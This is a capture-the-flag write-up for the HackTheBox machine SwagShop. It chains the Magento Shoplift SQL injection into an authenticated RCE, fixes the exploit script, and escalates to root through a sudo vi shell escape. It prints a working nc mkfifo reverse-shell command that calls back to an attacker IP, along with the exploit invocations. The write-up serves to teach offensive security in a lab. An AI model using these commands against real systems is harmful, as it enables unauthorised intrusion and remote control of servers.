Overview
SwagShop is an easy HackTheBox Linux machine running Magento 1.9.0.0, an e-commerce platform with two well-known, chained vulnerabilities. The “Shoplift” SQL injection creates a fully privileged admin user without needing any prior credentials, and once inside the admin panel, an authenticated remote code execution bug in the same Magento version, with a minor script fix required to work against this target, delivers a shell. Root comes from a sudo rule permitting vi on any file under the web root, which vi’s own shell-escape functionality turns into full root access.
Attack Chain
- Scan the target and identify only
SSHandHTTP, then addswagshop.htbto/etc/hosts - Fingerprint the site as
Magento 1.9.0.0usingmagescan - Find
/app/etc/local.xmlexposing the database credentials - Identify the “Magento Shoplift” SQL injection vulnerability and use a public proof of concept to create an admin user
- Log in to the
Magentoadmin panel with the newly created credentials - Identify a known authenticated remote code execution vulnerability affecting
Magento 1.9.0.1and below - Patch a bug in the public exploit script caused by an ambiguous form field match
- Confirm remote code execution and use it to deliver an
nc mkfiforeverse shell payload - Catch a shell as
www-dataand read the user flag - Find a
sudorule allowingvito be run on any file under/var/www/html/ - Use
vi’s shell-escape feature against an existing file in the web root to get a root shell - Read the root flag
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan.
export IP=10.129.229.138; export NAME=SWAGSHOP; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME
The open TCP ports are:
22,80
We export the discovered ports and run a service and version scan.
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

We add swagshop.htb to our /etc/hosts.
Web Enumeration
Fingerprinting Magento
Browsing to port 80 shows a Magento e-commerce site.

We use magescan to gather more information.
php ~/Tools/magescan.phar scan:all http://swagshop.htb
We identify version 1.9.0.0.

We also get a list of endpoints, starting with the ones returning 200.


We investigate /app/etc/local.xml and find database credentials.

username:root
password:fMVWh7bDHpgZkyfqQXreTjU9
dbname:swagshop
Foothold
Creating an Admin User via SQLi
We find a vulnerability known as “Magento Shoplift” that uses SQL injection to add an admin user to the database:
https://github.com/joren485/Magento-Shoplift-SQLI
We edit the script to set our own username and password.
hacked:Pass1234

The script uses Python 2, so we activate our Python 2 virtual environment.
source ~/Tools/python2_7_env/bin/activate
We run the script.
python poc.py http://swagshop.htb
We receive no errors.

We log in to the admin panel at http://swagshop.htb/index.php/admin with our new credentials.

We’re in.

Exploiting the Authenticated RCE
We find an authenticated remote code execution vulnerability affecting Magento 1.9.0.1 and below:
https://www.exploit-db.com/exploits/37811
The script uses Python 2, so we use our virtual environment again. We supply our username, password, and the install_date from /app/etc/local.xml.

We run the script.
python magento_rce.py "http://swagshop.htb/index.php/admin" "uname -a"
We get an AmbiguityError on login[username], mechanize can’t decide which form field instance we mean.

We fix the script so the mechanize browser object explicitly selects a single form and control instance:
br.select_form(nr=0)
# Set the existing controls (no manual new_control)
br.form.find_control(name='login[username]').value = username
br.form.find_control(name='login[password]').value = password
Here’s the original code commented out alongside our fix.

Running the script again gives us remote code execution.

Reverse Shell as www-data
We start a penelope listener on port 443, using an nc mkfifo payload from revshells.com.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.15.115 443 >/tmp/f
Our full payload:
python magento_rce.py "http://swagshop.htb/index.php/admin" "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.15.115 443 >/tmp/f"
We first check whether bash is available.

We have a shell as www-data.

We read the user flag.

Privilege Escalation
Exploiting Sudo vi
We check our privileges with sudo -l and find we can run /usr/bin/vi /var/www/html/* as sudo, meaning vi as root on anything under /var/www/html/.

Since vi can spawn a shell, we abuse this with sudo to get a root shell. Trying to create a new file and spawn a shell prompts for www-data’s password:
sudo usr/bin/vi /var/www/html/test -c ':!/bin/bash'

We find an existing file in /var/www/html instead.

We use sudo to spawn a shell against that file.
sudo /usr/bin/vi /var/www/html/php.ini.sample -c ':!/bin/bash'
We have a shell as root.

We read the root flag.

Key Takeaways
SwagShop demonstrates how an outdated e-commerce platform can be fully compromised without ever touching a zero-day, both the SQL injection and the authenticated RCE are years-old, publicly documented Magento vulnerabilities. The privilege escalation reinforces a recurring sudo pattern: vi, like many text editors, includes shell-escape functionality as a legitimate feature, and a sudo rule scoping it to “any file under a directory” rather than a specific file provides no real containment, since the escaped shell inherits the elevated privileges regardless of which file was opened.